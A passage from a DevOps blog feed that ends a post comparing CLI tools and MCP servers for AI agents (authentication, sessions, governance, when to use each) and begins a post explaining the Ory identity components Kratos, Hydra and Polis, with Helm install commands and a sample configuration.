        </h2><p>This is where CLI falls apart in team settings. CLI tools typically authenticate with a shared token or credential file:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Everyone shares the same AWS credentials</span>
<span class="hljs-built_in">export</span> AWS_ACCESS_KEY_ID=AKIA...
<span class="hljs-built_in">export</span> AWS_SECRET_ACCESS_KEY=...

<span class="hljs-comment"># Or the same kubeconfig</span>
<span class="hljs-built_in">export</span> KUBECONFIG=~/.kube/config
</code></pre><p>If you need to revoke access for one person, you have to rotate the shared credential for everyone. There is no per-user identity.</p>
<p>MCP servers support <strong>per-user OAuth</strong>. Each user authenticates individually, and you can revoke one user&#39;s access without touching anyone else:</p>
<pre><code class="hljs language-text">CLI:
  ┌──────────────┐
  │ Shared Token │ --&gt; Can&#x27;t revoke per user
  └──────────────┘

MCP:
  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐
  │ User A OAuth │  │ User B OAuth │  │ User C OAuth │
  └──────────────┘  └──────────────┘  └──────────────┘
       Revoke one without affecting others
</code></pre><p><strong>When this matters:</strong> Any multi-user environment where you need individual accountability and the ability to revoke access per person. If it&#39;s just you running scripts on your own machine, this doesn&#39;t matter. 🔑</p>
<h2 id="h2-stateful-sessions-mcp-wins" class="group relative scroll-mt-24">
        <a href="#h2-stateful-sessions-mcp-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 Stateful Sessions: MCP Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-stateful-sessions-mcp-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Every CLI command is a fresh process. New TCP connection, new process, load config, authenticate, execute, return, die. For tools that talk to remote APIs, that connection overhead adds up:</p>
<pre><code class="hljs language-text">CLI:
  cmd 1 → new conn (200ms) → execute → close
  cmd 2 → new conn (200ms) → execute → close
  cmd 3 → new conn (200ms) → execute → close

MCP:
  connect once (5ms) → call 1 → call 2 → call 3 → ...
  Persistent connection, reuses state
</code></pre><p>MCP servers maintain a persistent connection. The server stays running, keeps state between calls, and avoids the overhead of re-establishing connections and re-loading configuration. If you&#39;re making 50 API calls in a session, MCP can be significantly faster.</p>
<p>This also enables <strong>stateful workflows</strong>. An MCP server can remember context from previous calls within the same session. A CLI tool forgets everything the moment it exits.</p>
<p><strong>When this matters:</strong> Long-running agent sessions with many API calls to the same service. Database exploration, complex deployment workflows, or anything where maintaining state between calls saves work. 🔄</p>
<h2 id="h2-enterprise-governance-mcp-wins" class="group relative scroll-mt-24">
        <a href="#h2-enterprise-governance-mcp-wins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏢 Enterprise Governance: MCP Wins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-enterprise-governance-mcp-wins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If your company cares about audit trails, access control, and compliance, CLI is a rough story:</p>
<pre><code class="hljs language-text">CLI governance:
  ~/.bash_history  &lt;- That&#x27;s it. Plain text. No structure. No monitoring.
</code></pre><p>You can bolt on logging (auditd, script, etc.), but it&#39;s aftermarket and fragile. There is no built-in way to monitor what tools are being called, by whom, or to enforce policies about which operations are allowed.</p>
<p>MCP servers can be built with governance baked in:</p>
<ul>
<li><strong>Audit logs</strong>: Every tool call is logged with user identity, parameters, and timestamps</li>
<li><strong>Access control</strong>: Define which users can call which tools with which parameters</li>
<li><strong>Monitoring</strong>: Real-time dashboards showing tool usage patterns and anomalies</li>
<li><strong>Revocation</strong>: Disable a tool or a user instantly without redeploying anything</li>
</ul>
<p><strong>When this matters:</strong> Regulated environments, SOC 2 compliance, financial services, healthcare, or any team that needs to answer &quot;who did what, when, and why&quot; during an incident review. 🏛️</p>
<h2 id="h2-decision-matrix-when-to-use-which" class="group relative scroll-mt-24">
        <a href="#h2-decision-matrix-when-to-use-which" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision Matrix: When to Use Which
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-matrix-when-to-use-which"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here is a practical guide for common DevOps scenarios:</p>
<table>
<thead>
<tr>
<th>Scenario</th>
<th>Use CLI</th>
<th>Use MCP</th>
<th>Why</th>
</tr>
</thead>
<tbody><tr>
<td>Quick kubectl commands</td>
<td>✅</td>
<td></td>
<td>LLM knows kubectl, low tokens</td>
</tr>
<tr>
<td>AWS infrastructure queries</td>
<td>✅</td>
<td></td>
<td>aws-cli is well-known, pipes work</td>
</tr>
<tr>
<td>Log analysis with grep/awk</td>
<td>✅</td>
<td></td>
<td>Unix pipes are unbeatable here</td>
</tr>
<tr>
<td>Multi-user Slack bot</td>
<td></td>
<td>✅</td>
<td>Per-user auth is essential</td>
</tr>
<tr>
<td>Database exploration session</td>
<td></td>
<td>✅</td>
<td>Persistent connection, stateful</td>
</tr>
<tr>
<td>CI/CD pipeline triggers</td>
<td>✅</td>
<td></td>
<td>Simple command, no state needed</td>
</tr>
<tr>
<td>Internal tool with custom API</td>
<td></td>
<td>✅</td>
<td>No pretrained CLI knowledge anyway</td>
</tr>
<tr>
<td>Compliance-heavy environment</td>
<td></td>
<td>✅</td>
<td>Audit trails are non-negotiable</td>
</tr>
<tr>
<td>One-off script automation</td>
<td>✅</td>
<td></td>
<td>Lower overhead, faster</td>
</tr>
<tr>
<td>Long agent session (50+ calls)</td>
<td></td>
<td>✅</td>
<td>Connection reuse, amortized schema cost</td>
</tr>
</tbody></table>
<h2 id="h2-the-real-answer-use-both" class="group relative scroll-mt-24">
        <a href="#h2-the-real-answer-use-both" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Real Answer: Use Both 🤝
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-real-answer-use-both"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>In practice, most production setups will use both. Here is a pattern that works well:</p>
<pre><code class="hljs language-text">AI Agent
├── CLI tools (kubectl, aws, docker, git, terraform)
│   └── For: quick queries, piped workflows, one-off automation
│
└── MCP servers (internal APIs, databases, SaaS integrations)
    └── For: authenticated sessions, stateful workflows, governed access
</code></pre><p>Use CLI for the tools your LLM already knows and where composability matters. Use MCP for tools that need per-user auth, persistent state, or enterprise governance.</p>
<p>The worst pattern is forcing everything through one approach:</p>
<ul>
<li><strong>All CLI</strong> breaks down when you need per-user auth or audit trails in a team setting</li>
<li><strong>All MCP</strong> wastes tokens on tools the LLM already knows how to use natively</li>
</ul>
<p>Pick the right tool for each integration point, and you get the best of both worlds.</p>
<h2 id="h2-what-to-watch-for" class="group relative scroll-mt-24">
        <a href="#h2-what-to-watch-for" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Watch For
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-watch-for"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>MCP is still early. A few things to keep in mind:</p>
<ul>
<li><strong>Schema size optimization</strong> is an active area of work. The 44K token overhead will likely shrink as the protocol matures and LLMs get better at working with compressed schemas.</li>
<li><strong>Caching</strong> can help significantly. If your agent uses the same MCP server repeatedly, caching the schema across sessions avoids the repeated loading cost.</li>
<li><strong>Hybrid tools</strong> are emerging. Some tools offer both a CLI and an MCP server, so you can use whichever fits the context. Expect more of this.</li>
<li><strong>Security model</strong> for MCP is still evolving. The per-user OAuth story is solid, but the ecosystem around policy enforcement and access control is still maturing.</li>
</ul>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>CLI and MCP are not competing standards. They solve different problems. CLI is cheaper, more composable, and benefits from decades of pretrained knowledge in LLMs. MCP is better for multi-user auth, stateful sessions, and enterprise governance.</p>
<p>The smart move is to use CLI where it&#39;s strong (standard DevOps tools, piped workflows, quick automation) and MCP where it&#39;s strong (authenticated APIs, stateful sessions, audited access). Most real-world AI agent setups will end up using both. 🚀</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The Ory Ecosystem Explained: Identity, OAuth2, and SSO for Kubernetes]]></title>
      <link>https://devops-daily.com/posts/ory-ecosystem-identity-auth-kubernetes</link>
      <description><![CDATA[A practical breakdown of the Ory ecosystem - Kratos, Hydra, Polis, Oathkeeper, and Keto - what each one does, how they connect, and how to pick the right components for your auth stack.]]></description>
      <pubDate>Wed, 08 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/ory-ecosystem-identity-auth-kubernetes</guid>
      <category><![CDATA[Kubernetes]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[Security]]></category><category><![CDATA[Identity]]></category><category><![CDATA[OAuth2]]></category><category><![CDATA[SSO]]></category><category><![CDATA[Helm]]></category>
      <content:encoded><![CDATA[<p>Authentication and identity management are the kind of things you really don&#39;t want to build from scratch. Roll your own password hashing, session management, OAuth2 flows, and SAML federation, and you&#39;ll spend months on security-critical code that still keeps you up at night.</p>
<p>Ory is an open-source ecosystem that gives you production-grade identity infrastructure. Each component handles a specific piece of the auth puzzle, and they work together as a complete stack. The problem is that the ecosystem has grown to include multiple products, and it&#39;s not always obvious which ones you actually need. This post breaks down each component, how they fit together, and which ones you can skip depending on your use case.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>Kratos</strong> handles user registration, login, recovery, and profile management - it&#39;s the identity store</li>
<li><strong>Hydra</strong> is a certified OAuth2/OIDC server that issues tokens</li>
<li><strong>Polis</strong> bridges SAML identity providers (Okta, Azure AD) into standard OAuth2 flows for enterprise SSO</li>
<li><strong>Oathkeeper</strong> is a reverse proxy for zero-trust auth - useful but optional if your app validates tokens itself</li>
<li><strong>Keto</strong> is a fine-grained authorization engine inspired by Google Zanzibar - only needed if you need centralized RBAC/ABAC across services</li>
<li>All components are open source and can be deployed on Kubernetes via Helm</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Basic understanding of OAuth2 and OIDC concepts (access tokens, ID tokens, authorization flows)</li>
<li>Familiarity with Kubernetes and Helm</li>
<li>A PostgreSQL instance (all Ory services use Postgres)</li>
<li>Experience with identity concepts like SSO, SAML, and SCIM is helpful but not required</li>
</ul>
<h2 id="h2-the-ory-ecosystem-in-plain-english" class="group relative scroll-mt-24">
        <a href="#h2-the-ory-ecosystem-in-plain-english" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Ory Ecosystem in Plain English
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-ory-ecosystem-in-plain-english"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before diving into the details, here&#39;s the simplest way to think about it. Imagine you&#39;re building a B2B SaaS product and a customer says &quot;we need our employees to log in with their company Okta accounts.&quot; That one sentence involves a surprising number of moving parts:</p>
<ul>
<li>Somewhere to store user accounts (Kratos)</li>
<li>Something to issue OAuth2 tokens so your API knows who&#39;s calling (Hydra)</li>
<li>Something to translate between your customer&#39;s SAML-based Okta setup and the OAuth2 your app speaks (Polis)</li>
</ul>
<p>Each Ory component handles exactly one of these jobs. You can think of it like a Unix philosophy for identity: small, focused tools that compose together.</p>
<pre><code class="hljs language-text">+----------+     +----------+     +----------+
|  Kratos  |     |  Hydra   |     |  Polis   |
| &quot;Who are |     | &quot;Here&#x27;s  |     | &quot;I speak |
|   you?&quot;  |     | a token&quot; |     |  SAML so |
|          |     |          |     | you don&#x27;t|
|          |     |          |     | have to&quot; |
+----------+     +----------+     +----------+
  Identity         Tokens        Enterprise SSO
</code></pre><p>If all you need is username/password login, Kratos alone is enough. Need API tokens? Add Hydra. Enterprise customers with SAML? Add Polis. You build up only what you need.</p>
<h2 id="h2-why-ory-instead-of-auth0-clerk-or-firebase-auth" class="group relative scroll-mt-24">
        <a href="#h2-why-ory-instead-of-auth0-clerk-or-firebase-auth" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why Ory Instead of Auth0, Clerk, or Firebase Auth?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-ory-instead-of-auth0-clerk-or-firebase-auth"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The short answer: control and cost at scale.</p>
<p>Managed auth services like Auth0 and Clerk are great until you hit their pricing tiers. Auth0 charges per monthly active user, and once you pass the free tier, costs climb fast. At 10,000 MAU, you&#39;re looking at hundreds of dollars per month. At 100,000, it&#39;s thousands.</p>
<table>
<thead>
<tr>
<th></th>
<th>Auth0</th>
<th>Clerk</th>
<th>Firebase Auth</th>
<th>Ory (self-hosted)</th>
</tr>
</thead>
<tbody><tr>
<td>1,000 MAU</td>
<td>Free</td>
<td>Free</td>
<td>Free</td>
<td>Free (your infra cost)</td>
</tr>
<tr>
<td>10,000 MAU</td>
<td>~$230/mo</td>
<td>~$100/mo</td>
<td>Free</td>
<td>~$50-100/mo (infra)</td>
</tr>
<tr>
<td>100,000 MAU</td>
<td>~$1,300/mo</td>
<td>~$500/mo</td>
<td>$0.06/MAU</td>
<td>~$50-100/mo (infra)</td>
</tr>
<tr>
<td>SAML SSO</td>
<td>Enterprise plan</td>
<td>$50/connection</td>
<td>Not included</td>
<td>Included (Polis)</td>
</tr>
<tr>
<td>Data residency</td>
<td>Enterprise plan</td>
<td>Enterprise plan</td>
<td>GCP regions</td>
<td>You choose</td>
</tr>
<tr>
<td>Vendor lock-in</td>
<td>High</td>
<td>High</td>
<td>Moderate</td>
<td>None</td>
</tr>
</tbody></table>
<p>The tradeoff: you&#39;re responsible for running and maintaining the infrastructure. If your team is already comfortable with Kubernetes, this is manageable. If you don&#39;t have ops capacity, a managed service might be the better call until you do.</p>
<p>Beyond cost, there are cases where self-hosted is the only option: strict data residency requirements, air-gapped environments, or compliance rules that don&#39;t allow user data to leave your infrastructure.</p>
<h2 id="h2-the-ory-components" class="group relative scroll-mt-24">
        <a href="#h2-the-ory-components" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Ory Components
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-ory-components"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-kratos-identity-management" class="group relative scroll-mt-24">
        <a href="#h3-kratos-identity-management" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Kratos - Identity Management
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kratos-identity-management"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kratos is the core of the ecosystem. It handles everything related to user identities: registration, login, account recovery, email verification, and profile management. It exposes all of this through a headless API, meaning there is no built-in UI. You bring your own frontend or use their reference implementation.</p>
<p>The key concepts to understand:</p>
<ul>
<li><strong>Identity schemas</strong> define what a user looks like (email, name, custom traits) using JSON Schema</li>
<li><strong>Self-service flows</strong> handle login, registration, recovery, and verification through API-driven workflows</li>
<li><strong>Credentials</strong> support multiple auth methods: passwords, OIDC, WebAuthn, TOTP, and lookup secrets</li>
<li><strong>Two APIs</strong>: a public API on port <code>4433</code> for user-facing operations and an admin API on port <code>4434</code> for identity CRUD and privileged operations</li>
</ul>
<p>Kratos needs PostgreSQL with the <code>pg_trgm</code>, <code>btree_gin</code>, and <code>uuid-ossp</code> extensions enabled.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Install Kratos via Helm</span>
helm repo add ory https://k8s.ory.sh/helm/charts
helm repo update
helm install kratos ory/kratos -f kratos-values.yaml
</code></pre><p>A minimal <code>kratos-values.yaml</code> looks like this:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">kratos:</span>
  <span class="hljs-attr">config:</span>
    <span class="hljs-attr">dsn:</span> <span class="hljs-string">postgres://kratos:password@postgres:5432/kratos?sslmode=disable</span>
    <span class="hljs-attr">identity:</span>
      <span class="hljs-attr">default_schema_id:</span> <span class="hljs-string">default</span>
      <span class="hljs-attr">schemas:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">default</span>
          <span class="hljs-attr">url:</span> <span class="hljs-string">file:///etc/config/identity.schema.json</span>
    <span class="hljs-attr">selfservice:</span>
      <span class="hljs-attr">default_browser_return_url:</span> <span class="hljs-string">https://your-app.example.com</span>
      <span class="hljs-attr">flows:</span>
        <span class="hljs-attr">login:</span>
          <span class="hljs-attr">ui_url:</span> <span class="hljs-string">https://your-app.example.com/login</span>
        <span class="hljs-attr">registration:</span>
          <span class="hljs-attr">ui_url:</span> <span class="hljs-string">https://your-app.example.com/register</span>
</code></pre><h3 id="h3-hydra-oauth2-and-openid-connect-provider" class="group relative scroll-mt-24">
        <a href="#h3-hydra-oauth2-and-openid-connect-provider" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Hydra - OAuth2 and OpenID Connect Provider
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hydra-oauth2-and-openid-connect-provider"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hydra is a certified OAuth 2.0 and OpenID Connect server. It issues access tokens, refresh tokens, and ID tokens. It handles consent flows and manages OAuth2 clients.</p>
<p>The important thing to understand about Hydra is that it delegates authentication decisions. When a user needs to log in, Hydra redirects to an external login UI (Kratos in this case). Once the user authenticates, Kratos tells Hydra the login was successful, and Hydra issues the tokens.</p>
<p>Key details:</p>
<ul>
<li><strong>OAuth2 clients</strong> are registered applications that can request tokens</li>
<li><strong>Consent flow</strong> delegates login and consent decisions to an external UI</li>
<li><strong>Token introspection</strong> validates tokens for resource servers</li>
<li><strong>Maester</strong> is a CRD controller for managing OAuth2 clients as Kubernetes resources</li>
<li><strong>Two APIs</strong>: public API on port <code>4444</code> for OAuth2/OIDC endpoints and admin API on port <code>4445</code> for client and consent management</li>
</ul>
<pre><code class="hljs language-bash">helm install hydra ory/hydra -f hydra-values.yaml
</code></pre><p>The public API exposes the standard OIDC endpoints:</p>
<pre><code class="hljs language-text">/oauth2/auth          - Authorization endpoint
/oauth2/token         - Token endpoint
/.well-known/openid-configuration  - OIDC discovery
</code></pre><p>Hydra needs PostgreSQL with the <code>uuid-ossp</code> extension.</p>
<h3 id="h3-polis-saml-to-oidc-bridge-and-directory-sync" class="group relative scroll-mt-24">
        <a href="#h3-polis-saml-to-oidc-bridge-and-directory-sync" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Polis - SAML-to-OIDC Bridge and Directory Sync
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-polis-saml-to-oidc-bridge-and-directory-sync"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Polis is the enterprise SSO piece. When your customers use SAML identity providers like Okta, Azure AD, or OneLogin, Polis translates those SAML assertions into standard OAuth 2.0 flows. Your application never has to deal with SAML directly.</p>
<p>Beyond the auth bridge, Polis also provides SCIM 2.0 directory sync. This means when a customer adds or removes users in their identity provider, those changes automatically propagate to your system.</p>
<p>Key concepts:</p>
<ul>
<li><strong>SAML bridge</strong> translates customer IdP SAML responses into standard OAuth 2.0 tokens</li>
<li><strong>OIDC federation</strong> also supports connecting to OIDC identity providers directly</li>
<li><strong>Directory sync (SCIM 2.0)</strong> auto-provisions and de-provisions users and groups from the customer&#39;s IdP</li>
<li><strong>Multi-tenancy</strong> keeps each tenant&#39;s SSO connections and directory sync configs isolated</li>
<li><strong>Admin portal</strong> provides a built-in UI for managing SSO connections</li>
</ul>
<p>Polis runs on a single port (<code>5225</code>) that serves the public API, OAuth endpoints, admin portal, and SCIM endpoints:</p>
<pre><code class="hljs language-text">/oauth/authorize                  - OAuth 2.0 authorization
/oauth/token                      - Token endpoint
/oauth/userinfo                   - User info endpoint
/api/v1/sso/                      - SSO connection management
/api/v1/dsync/scim/v2.0/          - SCIM 2.0 directory sync
/.well-known/                     - Protocol discovery
</code></pre><p>Polis supports PostgreSQL, MySQL, MongoDB, Redis, and DynamoDB for storage, but PostgreSQL is the simplest choice if you&#39;re already running it for Kratos and Hydra.</p>
<p>The open-source version is based on BoxyHQ&#39;s Jackson project (<code>boxyhq/jackson</code> Docker image). Ory also offers an enterprise image through their private registry.</p>
<h3 id="h3-oathkeeper-identity-and-access-proxy" class="group relative scroll-mt-24">
